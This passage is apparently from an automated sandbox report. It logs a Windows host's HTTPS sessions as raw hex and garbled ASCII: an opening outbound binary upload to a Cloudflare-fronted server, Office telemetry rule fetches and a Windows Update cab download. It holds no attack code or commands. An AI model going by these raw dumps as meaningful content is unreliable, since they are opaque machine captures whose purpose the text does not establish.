2024-11-20 16:41:36 UTC	15331	OUT	Data Raw: 54 c8 9c cf 60 44 45 67 bd 8b d4 9f 45 a9 dd a9 c5 ff f1 b7 da 7b a4 ca a0 ff 4d c8 24 60 be 3b 35 71 2f ce e7 05 dd 3e 22 13 b7 01 97 b8 c4 5f af 4a 9c 16 fa 50 08 a4 79 eb 1e 15 14 6c 0c f9 5b d8 17 fa f2 f4 97 6b b3 8b c0 31 87 f0 38 f6 87 95 48 92 55 97 a7 5f f2 bc 86 8c a7 6b 2d fb f3 b2 65 fc bc e5 dd aa a6 7d b2 fd 61 d3 51 52 da a9 52 e8 8c 7f b5 4a 58 d8 58 ad 74 7c 49 cc cd 84 f8 b9 e0 81 18 ad 12 4d fb 8b f5 4a df 42 12 7a 2d 5b 2e d3 49 46 e9 a6 91 fd 1c 9f 45 72 cd 88 d6 15 97 6a 00 47 45 83 d0 a8 70 87 af 8a bb 79 9a 3c 96 d1 81 bb 7c a1 f6 c2 92 9b e4 8e 9d 04 68 55 b8 f3 7d b7 09 e4 38 62 f0 a9 2c a4 da 48 17 e3 23 a4 1d 9b fe 3d 68 50 5e 70 87 88 c2 8f d3 e6 b6 39 5e 0c 04 98 2e 6f e5 9a 58 39 d0 a6 56 ad bb dd dc d0 3f 7e b9 dd 33 d0 d6 Data Ascii: T`DEgE{M$`;5q/>"_JPyl[k18HU_k-e}aQRRJXXt\|IMJBz-[.IFErjGEpy<\|hU}8b,H#=hP^p9^.oX9V?~3
2024-11-20 16:41:36 UTC	15331	OUT	Data Raw: fb 0f 65 a1 d7 33 62 a2 f5 44 36 86 13 b5 52 75 5b 2a bd 5e 5f d1 46 d9 1b c5 cb 16 ff be 56 8c 66 54 ac fc ab 55 3e a6 0b 66 24 51 2d 48 81 bb 0b 12 44 81 0a eb be c1 60 85 f6 db 36 2d 59 49 6e 67 a3 e1 5b bb 41 ee ac 39 c8 30 2e 0f df 51 f3 64 6f c1 c3 a8 15 14 78 ad 0f 6c 25 78 e7 3e 89 97 9c 6c ce 27 cf 77 ac db dd 00 56 46 8e 6a f3 0f b7 87 15 9d 65 76 ad 0f b7 5b 1c 45 e5 02 6f dd 8b f0 32 c8 c0 86 47 85 5e c6 2a 62 42 3a fb b3 a7 8f 27 16 4c e5 56 5a ed ec de 4a 69 35 ec c4 6e 4c ac 5b 6b 65 e8 42 3f 05 62 6d 6f e0 97 7e ad df c0 8b 95 4a c3 87 18 85 54 cb 4c 52 55 fa c0 45 3c 3e 89 d4 35 b4 59 08 88 11 a2 6d b3 2f 77 80 d1 f2 6a 32 3f 90 fe d3 7c 2c d0 5a 55 7b 5a 78 9c af 43 03 09 9b 0b fd 05 7a 44 88 db f3 dc d4 8f f0 13 49 05 1b 48 22 a2 f3 98 Data Ascii: e3bD6Ru[^_FVfTU>f$Q-HD`6-YIng[A90.Qdoxl%x>l'wVFjev[Eo2G^bB:'LVZJi5nL[keB?bmo~JTLRUE<>5Ym/wj2?\|,ZU{ZxCzDIH"
2024-11-20 16:41:36 UTC	15331	OUT	Data Raw: 58 6f 2f c1 00 31 a8 27 cb 5f d1 8e ab b7 b6 f6 1c c9 c2 79 8a c7 f5 fe 0a 29 56 5a 54 f6 67 f5 8c 0b 7b 82 bf 2b 60 70 a1 75 24 e8 5a b7 05 11 bd ff 92 24 b6 a9 b9 ee dd af ed 34 6f 85 2d 0c fc 02 f4 dc ed 71 29 bd 49 d6 56 d3 f7 e2 14 4e d2 37 52 ea 23 67 ff 63 43 a4 c2 f0 54 05 90 70 92 fa 27 7f fa b5 a7 e7 20 85 a4 e3 3e f6 84 c6 ad cf a7 67 95 38 fd 0d 55 e6 df c1 b6 26 60 ad 87 53 ff 1b ef 7c 67 2f 78 7f c5 6e ef 5f 59 ea fb 98 fd d9 ff c4 3c bb 76 a7 21 e4 cc 93 f8 c8 2f df 8d 56 de 9e cc 4f d6 11 75 0d ed 97 ba 59 7a 3c 61 a1 91 4c 59 34 bd bd be eb c8 9e db a7 0d f3 e2 29 81 d5 1a 59 e4 d7 72 e1 97 f2 08 7b da 6d 93 f2 90 b1 7d 81 c1 c1 48 09 f9 c9 a3 71 1a cd a4 82 dd b2 ee ff 1b 07 d7 0e d1 de a2 89 25 b0 35 87 54 53 e0 b7 5d 30 c5 df a3 03 d6 Data Ascii: Xo/1'_y)VZTg{+`pu$Z$4o-q)IVN7R#gcCTp' >g8U&`S\|g/xn_Y<v!/VOuYz<aLY4)Yr{m}Hq%5TS]0
2024-11-20 16:41:36 UTC	15331	OUT	Data Raw: 4f 65 03 42 07 46 17 56 dd 2c 63 97 71 50 ac 0c d4 ee 83 5e c2 48 db 87 c9 7b e5 a4 72 04 30 f3 21 ed 30 da 25 14 ba 3f 18 61 54 1c 7a 07 16 5e b0 e9 a3 a4 f5 f2 0a 36 0f 49 c9 a6 13 76 83 22 40 3a b3 20 4f b6 37 14 a1 7f 9a 0f bd 25 10 3e 07 da 0c 50 d6 3d 16 41 d4 42 05 92 a7 f2 90 dc 9b c3 1f 60 f8 fb 48 b2 24 4c 54 fa 95 ad 6e 9f a4 9f 93 e9 ba 62 1f 33 19 15 ae e4 3a 77 d4 e2 7a ae 9c 45 6f 2e 6e 80 13 f8 e0 e9 a2 90 6f 44 80 62 b0 1d 26 27 32 4d 2f dd a3 72 cb ec fb 07 43 f3 e8 78 59 f6 60 55 af d9 65 ae ab 7d 87 e8 a9 ff 3d 8d 6c f7 c5 d2 ef a0 f4 56 e8 87 58 d5 35 87 65 c3 d9 51 19 d3 c9 be 80 21 8e 4c 90 b0 11 ca a5 85 a9 a3 8c cd 8e 47 44 a4 a0 7d 05 8c 8c 00 2e 24 8a 57 be 57 88 ba 9b 76 e4 68 dc 0c ec 27 0b 6f 6a ad 1b c3 1f 8c 78 3a 91 f6 44 Data Ascii: OeBFV,cqP^H{r0!0%?aTz^6Iv"@: O7%>P=AB`H$LTnb3:wzEo.noDb&'2M/rCxY`Ue}=lVX5eQ!LGD}.$WWvh'ojx:D
2024-11-20 16:41:36 UTC	15331	OUT	Data Raw: b2 b5 3b 66 bf 76 d7 ef 67 b1 18 f5 6d 21 27 20 74 9d ce 52 09 73 20 8d ff 5e d1 68 f6 f1 45 9b 17 55 64 a0 8f 9f 04 08 45 9c 8b af a5 f3 71 1a 1e c6 60 fa 51 35 c1 db 9c 90 04 ce 44 09 31 15 ca de e5 18 d1 7c af 63 59 14 f8 85 0d fa fe b5 08 7e 89 03 0d dc aa 10 d0 9d 05 bd bd c0 0e 4a 43 30 95 50 d9 08 58 cc 9b 77 c6 50 a8 14 0d a7 f4 46 94 21 c8 58 36 80 bf bc ff d7 87 71 14 60 5b 32 1e 30 ef fc 82 d9 25 e7 63 11 03 9d 67 d1 35 a5 fa 30 f3 9f f8 7e d5 03 db ad 75 ad 0d 0c 20 ee cc 34 16 fc fc 66 e5 20 3b 02 fe eb 25 cb 44 32 34 0f b8 d5 18 16 12 21 ca 61 89 99 6b 27 ac 8d 41 fd 98 ee 0b 35 47 c1 2f fa 3e c2 47 46 40 a8 0f 38 30 55 fa 68 20 30 19 ed 70 53 48 bb 09 31 16 95 c4 60 9a 9a 36 e8 9d d7 ae 62 0b 13 62 c4 8b 3f a0 78 c4 ec c1 f3 c6 94 e3 88 50 Data Ascii: ;fvgm!' tRs ^hEUdEq`Q5D1\|cY~JC0PXwPF!X6q`[20%cg50~u 4f ;%D24!ak'A5G/>GF@80Uh 0pSH1`6bb?xP
2024-11-20 16:41:36 UTC	15331	OUT	Data Raw: f1 6f 79 85 8f 01 f3 c1 56 55 e5 26 87 39 f7 14 f8 21 04 cb cc f9 e1 38 53 c9 95 ef 9f c2 22 1b 46 50 a5 63 30 55 1f 24 10 18 3b 11 c9 f7 08 9d 97 3b 54 9d 68 dd 40 a9 43 0c 9c 0e a0 48 eb 9e 06 d6 3f e3 cf 4f 5e 8f 9d 3d c4 56 45 ad 0a 04 9b 23 4d 06 71 dd 83 81 30 3b 14 2a bd 7a 0d 65 20 bb bc 15 5b 63 d6 4b b7 8b 95 0e 36 b0 b7 74 d3 b9 c2 0e ca 14 7c 9f b9 aa b9 ca a0 ea 57 53 27 0d d0 7e 8e ee bb f8 ce 77 46 55 19 76 50 e5 b7 e4 22 b7 88 fa 80 71 c2 52 b0 ef 9c 79 11 e6 37 52 ce f3 0e fb 90 04 4f 9a d9 52 fd 0d e9 25 26 42 9c 4b ef 41 ce 45 d4 8a 97 ab 93 49 08 73 04 39 ee 8f 64 fb 0e c2 27 f1 f2 9d f3 9e 4d 6b 75 b3 e3 cd f9 c0 5b e9 ab 9a 04 76 27 f8 7d 8c b9 59 e1 4b ed cf c1 b0 9e e1 5a c9 df 6e 4a 49 84 96 26 a1 2d bf b3 a6 c3 2c af c5 cd b2 34 Data Ascii: oyVU&9!8S"FPc0U$;;Th@CH?O^=VE#Mq0;*ze [cK6t\|WS'~wFUvP"qRy7ROR%&BKAEIs9d'Mku[v'}YKZnJI&-,4
2024-11-20 16:41:40 UTC	990	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ki5ehc78mt1q0b1ib1b3nnlpid; expires=Sun, 16-Mar-2025 10:28:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B3hsi%2Fy1FgrNeDTeM1meoLo6SsxWVYjvu%2BY0n1Mql5CqnE0OEC9SSx%2F7mpSE73clBpQMHDYvYwDoLEkkxTfxf3FSuSsCNANXMgehad2miHY9yz3MQd2tylyCORLTQi6X"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e59e3754f3843c8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1621&sent=321&recv=553&lost=0&retrans=0&sent_bytes=2830&recv_bytes=552583&delivery_rate=1763285&cwnd=191&unsent_bytes=0&cid=4255baf416c3940c&ts=4135&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.7	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:37 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:38 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 7f65af6f-801e-0067-5f8c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164138Z-185f5d8b95cx9g8lhC1NYCtgvc00000002v000000000k9ah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:38 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:37 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:38 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: c6b0c23f-801e-0048-738c-3af3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164138Z-185f5d8b95c5lcmhhC1NYCsnsw0000000ap0000000001trr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:38 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:37 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:38 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164138Z-1777c6cb7544nvmshC1TEBf7qc00000009ng00000000kxmt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:38 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:37 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:38 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c49e358a-d01e-008e-6463-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164138Z-185f5d8b95cp7lkfhC1NYC7rpw0000000an000000000hbfg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:38 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:37 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 657669b3-a01e-0002-118c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164138Z-r1d97b99577ndm4rhC1TEBf0ps00000009a00000000049bv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	49736	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:38 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=1ChdEyHYRNkdE3F&MD=2f2hpuyv HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 16:41:39 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 2b64222a-0a5d-410a-ab3e-25a2ddbcb6bd MS-RequestId: 95c324d6-5ac1-443f-bdbc-19f4aee1892a MS-CV: So3PrF5VsEiI2LcI.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 16:41:38 GMT Connection: close Content-Length: 24490
2024-11-20 16:41:39 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-20 16:41:39 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:39 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:40 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 65766a7e-a01e-0002-4f8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164140Z-1777c6cb754xjpthhC1TEBexs800000009s0000000007s8x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:40 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.7	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:40 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
